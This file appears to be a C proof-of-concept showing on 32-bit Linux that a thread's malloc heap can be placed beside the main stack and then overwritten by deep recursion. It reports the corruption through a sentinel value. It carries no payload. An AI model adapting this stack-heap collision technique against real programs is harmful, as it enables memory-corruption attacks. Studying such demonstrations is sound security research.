#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <sys/eventfd.h>

#define STACK_POINTER() ({ void *__stack; asm volatile("mov %%esp, %0":"=r"(__stack)); __stack; })
#define IGNORE(x) asm volatile(""::"r"(x))

#define MAP_LEN 0x100000
#define UNMAP_COUNT 10

static int efd_to_main, efd_to_thread;
static void *malloc_start, *malloc_end;
static unsigned long *thread_obj2;

static void *thread_fn(void *dummy) {
  /* STEP 2 */
  void *thread_obj = malloc(0x1000);
  thread_obj2 = malloc(0x1000);
  *thread_obj2 = 0xdeadbeef;
  malloc_start = (void*)(((unsigned long)thread_obj) & ~0xfffUL);
  malloc_end = malloc_start + MAP_LEN;
  eventfd_write(efd_to_main, 1);
  eventfd_t dummy_val;
  eventfd_read(efd_to_thread, &dummy_val);

  /* STEP 4 */
  while (1) {
    void *p = malloc(0x400);
    if (p < malloc_start || p > malloc_end)
      break;
  }
  eventfd_write(efd_to_main, 1);

  while (1)
    pause();
}

__attribute__((noinline))
void recurse() {
  if (STACK_POINTER() > malloc_end+0xf00)
    recurse();
  asm volatile("");
}

__attribute__((noinline))
void recurse2(unsigned long depth) {
  if (*thread_obj2 != 0xdeadbeef) {
    printf("corrupted thread_obj2 at depth %lu\n", depth);
    exit(1);
  }
  recurse2(depth+1);
  asm volatile("");
}

void *top_maps[UNMAP_COUNT];
void top_maps_insert(void *ptr) {
  // find lowest element in top_maps
  size_t lowest = 0;
  for (size_t i = 0; i < UNMAP_COUNT; i++) {
    if (top_maps[i] < top_maps[lowest])
      lowest = i;
  }
  if (top_maps[lowest] < ptr)
    top_maps[lowest] = ptr;
}

int main(void) {
  efd_to_main = eventfd(0, EFD_SEMAPHORE);
  efd_to_thread = eventfd(0, EFD_SEMAPHORE);

  /* STEP 1 */
  void *stack = STACK_POINTER();
  IGNORE(malloc(1)); /* make sure our arena is initialized or whatever */
  while (1) {
    void *obj = malloc(MAP_LEN - 0xf00);
    if (obj == NULL)
      err(1, "malloc failed");
    if (obj > STACK_POINTER()) {
      free(obj);
      for (size_t i = 0; i < UNMAP_COUNT; i++)
        free(top_maps[i]);
      break;
    }
    top_maps_insert(obj);
  }
  pthread_t thread;
  if (pthread_create(&thread, NULL, thread_fn, NULL))
    errx(1, "pthread_create failed");
  eventfd_t dummy_val;
  eventfd_read(efd_to_main, &dummy_val);

  /* STEP 3 */
  recurse();
  eventfd_write(efd_to_thread, 1);
  eventfd_read(efd_to_main, &dummy_val);

  /* STEP 5 */
  recurse2(0);
}